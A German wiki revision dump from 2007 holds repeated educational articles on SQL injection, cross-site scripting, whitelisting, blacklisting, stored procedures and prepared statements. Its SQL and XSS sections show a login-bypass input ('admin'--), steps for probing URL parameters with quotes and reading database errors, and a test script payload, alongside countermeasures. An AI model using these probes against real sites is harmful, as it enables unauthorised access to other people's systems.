[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885 
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html 
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html 
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8 
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8 
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1 
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998 
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X 
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 

=Siehe auch=

*[[Cross Site Scripting]]

[[Whitelisting]]

[[Blacklisting]]

[[Kategorie:Sicherheit]]

SQL Injection

2007-06-25T15:07:29Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht. 

Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die
Parameter einer URL an die Webseite weitergereicht werden. 

=Beispiel=
Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.

SELECT * FROM users WHERE name ='$username' AND password ='$password'

In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden: 
"admin'--" 
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus: 

SELECT * FROM users WHERE name ='admin'--' AND password ='beliebig'. 

Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch 

SELECT * FROM users WHERE name ='admin' 

verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten. 
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform
so einen passwortlosen Zugang erlaubte. 

=How to=

Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe
mit den Endungen ".asp" und ".cmf" gesucht, da hier die meisten Probleme zu erwarten sind [9]. Um die Anfälligkeit der so
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden). 

Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über
die Zahl 512

Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so
aussieht: „name=val’ue“.
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt
aussehen:

Fehlermeldungsart 1:

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string

’51 ORDER BY some_name’.

/some_directory/some_file.asp, line 5

Fehlermeldungsart 2:

ODBC Error Code = S1000 (General error)

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended

Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte
Anwendung für SQL-Injection zugänglich ist.

Beispiel nach [7].

=Gegenmaßnahmen=

SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und
[[Prepared statements]]. 
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer
Seite auf Schwachstellen testet. 
(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.) 

Da der Mensch allerdings gerade bei destruktiven Aufgaben weit
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind
in im weiterführenden Link zu finden. 

Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -
das gilt auch für die Variablen in den URLs! 

Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden. 

Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde. 

Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine
Vermischung dieser beiden Filterarten ist möglich. 

=weiterführender Link=
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015]] Beispielliste mit sicheren
Datenbankabfragen in unterschiedlichen Programmiersprachen.

=Quellen=

[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners

[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com

[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html

[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion

[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html

[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html

[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015

[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff

[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff

=Siehe auch=

*[[Cross Site Scripting]]

*[[Codeinjection]]

*[[Whitelisting]]

*[[Blacklisting]]

[[Kategorie:Sicherheit]]

Cross Site Scripting

2007-06-25T15:04:37Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen. 

XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen. 
Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet. 

Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle
Informationen. 
Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden. 

XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um
den angegriffenen Server unerreichbar zu machen. 

==Reflektiertes XSS==

Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch
eine E-Mail Adresse sein. 

Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser. 

==Persistentes (beständiges) XSS==

Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt. 

Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten
HTML-Code vorfinden. 

==Lokales ([[DOM]]-basiertes) XSS==

Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird. 

Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den
Angreifer weitergeleitet werden. 

Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,
da der lokale Benutzer oft gleichzeitig der Administrator ist. 

Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite. 

==XSS – eine kleine „Anleitung“==

Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen
kann ein Anzeichen für die Anfälligkeit auf XSS sein. 

Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist. 

Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS
geschützt ist. 

Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.
„<script>alert(’hello’)</script>“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen. 

Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und
geprüft werden, ob der eingetragene String (<script>alert(’hello’)</script>) im HTML-Code der
Seite auftaucht oder nicht. 

=Gegenmaßnahmen=

Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend
kurz vorgestellt: 

– allow_url_fopen = off 
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit
können keine Skripte von externen Servern mehr ausgeführt werden. 
– open_basedir = /pfad/zum/www-ordner 
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses
Verzeichnisses können weiterhin benutzt werden. 
– save-mode = on 
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine
weitere Steuerung ist durch weitere Optionen dennoch möglich. 
– display_errors = off 
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von
Fehlermeldungen zu unterbinden. 

Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs! 

Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.
Steuerzeichen durch ihre Escapesequenzen ersetzen. 

Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde. 

Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html 
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885 
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html 
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html 
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8 
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8 
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1 
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998 
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X 
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 

=Siehe auch=

*[[SQL Injection]] 
*[[Codeinjection]] 
*[[Whitelisting]] 
*[[Blacklisting]] 

[[Kategorie:Sicherheit]]

Blacklisting

2007-06-25T15:01:10Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Blacklisting verbietet einige Zeichen, wie z.B. Steuerzeichen (< >) oder ganze Tags (<script>...</script>).

=Bemerkungen=

Kann nach dem [[Whitelisting]] eingesetzt werden, um besondere Randbedingungen abzudecken. 

=Vorteil=
Einige Tags können weiterhin verwendet werden (z.B. für Formattierung durch den Benutzer in Foren). 

=Nachteil=

Listen müssen permanent auf dem neuesten Stand gehalten werden, um bis jetzt unveröffentlichten [[Angriffsvektor]]en nicht
schutzlos gegenüber zu stehen. 

=Quellen=

[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 

=Siehe auch=

*[[Whitelisting]]

[[Kategorie:Sicherheit]]

Whitelisting

2007-06-25T15:00:04Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Das Whitelisting erlaubt explizit Zeichen (z.B. ist es beim Geburtsjahr nicht nötig, Zahlen
zu erlauben die kleiner als 1900 sind). 

=Bemerkung=

Kann vor dem [[Blacklisting]] eingesetzt werden, um den größten Teil der möglichen Angriffe abzuwehren. 

=Vorteil=
Falls die Liste vollständig ist, werden keine durch den Benutzer eingetragenen Befehle vom Server ausgeführt und können
gefahrlos dargestellt und weitergegeben werden. 

=Nachteile=
Es kann leicht passieren das man zu viele Zeichen verbietet und damit die Benutzerfreundlichkeit sinkt bzw. einige Funktionen
nicht mehr vollständig sind. Beispiel: beim Eintragen der Hausnummer könnten so die Buchstaben gesperrt werden dan ist die
Kombination aus Zahl und Buchstabe z. B. 12a nicht mehr möglich und die Adressierung ist nicht mehr korrekt. 

Mehraufwand bei der Festlegung der zugelassenen Zeichen, weil regionsbedingte Unterschiede in der Notation (Sonderzeichen,
andere Art Adressen aufzuschreiben etc.) berücksichtigt werden müssen. 

=Quellen=

[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 

=Siehe auch=

*[[Blacklisting]]

[[Kategorie:Sicherheit]]

Stored Procedure

2007-06-25T14:58:17Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Diese Funktion, bringen einige DB-Management-Systeme mit. Sie ermöglichen es dem Benutzer, ganze Abläufe
von Anweisungen unter einem Namen zu speichern. 

Damit erfolgt statt vieler einzelner Anfragen ein einzelner Aufruf durch den Client.

=Vorteil=

Absicherung gegen [[SQL Injection]], da die Stored procedures zusätzliche Befehle zur Ablaufsteuerung und Auswertung
erfolgter Anweisungen enthalten können. 

Der Einsatz von [[Prepared statements]] ist jedoch vorzuziehen.

=Quellen=

[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 

=Siehe auch=

*[[Prepared statements]] 
*[[SQL Injection]]

[[Kategorie:Sicherheit]]

Prepared Statement

2007-06-25T14:57:58Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Prepared statements sind, wie der Name schon sagt, vorbereitete Statements für ein Datenbank-
System und enthalten noch keine Parameterwerte. 

Statt der Parameter werden Platzhalter an das Datenbanksystem übergeben, d.h. die SQL-Befehle und die tatsächlichen
Parameterwerte (die dann statt den Platzhaltern eingetragen werden), werden vom Skript getrennt an das [[API]]
übertragen und somit ist die für die SQL Injection nötige Durchmischung nicht mehr ohne weiteres
zu erreichen. 

Darüber hinaus werden die Parameter beim Eintragen zunächst vom DB-System
auf Gültigkeit geprüft bevor sie verarbeitet werden. 

Als angenehmen Nebeneffekt bringen
die Prepared statements den Vorteil mit sich, dass durch die Vorverarbeitung der Abfragen eine
schnellere Verarbeitungszeit der Abfragen möglich ist. 

=Quellen=

[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 

=Siehe auch=

*[[SQL Injection]] 
*[[Stored procedures]]

[[Kategorie:Sicherheit]]

Stored Procedure

2007-06-25T14:54:50Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Diese Funktion, bringen einige DB-Management-Systeme mit. Sie ermöglichen es dem Benutzer, ganze Abläufe
von Anweisungen unter einem Namen zu speichern. 

Damit erfolgt statt vieler einzelner Anfragen ein einzelner Aufruf durch den Client.

=Vorteil=

Absicherung gegen [[SQL Injection]], da die Stored procedures zusätzliche Befehle zur Ablaufsteuerung und Auswertung
erfolgter Anweisungen enthalten können. 

Der Einsatz von [[Prepared statements]] ist jedoch vorzuziehen.

=Quellen=

[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 

=Siehe auch=

*[[Prepared Statements]] 
*[[SQL Injection]]

[[Kategorie:Sicherheit]]

SQL Injection

2007-06-25T14:53:07Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.

Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die
Parameter einer URL an die Webseite weitergereicht werden.

=Beispiel=
Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.

SELECT * FROM users WHERE name ='$username' AND password ='$password'

In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:

"admin'--"

Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:

SELECT * FROM users WHERE name ='admin'--' AND password ='beliebig'.

Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch

SELECT * FROM users WHERE name ='admin'

verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.

Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform
so einen passwortlosen Zugang erlaubte.

=How to=

Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe
mit den Endungen ".asp" und ".cmf" gesucht, da hier die meisten Probleme zu erwarten sind [10]. Um die Anfälligkeit der so
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).

Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über
die Zahl 512

Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so
aussieht: „name=val’ue“.
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt
aussehen:

Fehlermeldungsart 1:

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string

’51 ORDER BY some_name’.

/some_directory/some_file.asp, line 5

Fehlermeldungsart 2:

ODBC Error Code = S1000 (General error)

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended

Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte
Anwendung für SQL-Injection zugänglich ist.

Beispiel nach [7].

=Gegenmaßnahmen=

SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und
[[Prepared statements]].

Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer
Seite auf Schwachstellen testet.

(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.)

Da der Mensch allerdings gerade bei destruktiven Aufgaben weit
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind
in im weiterführenden Link zu finden.

Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -
das gilt auch für die Variablen in den URLs!

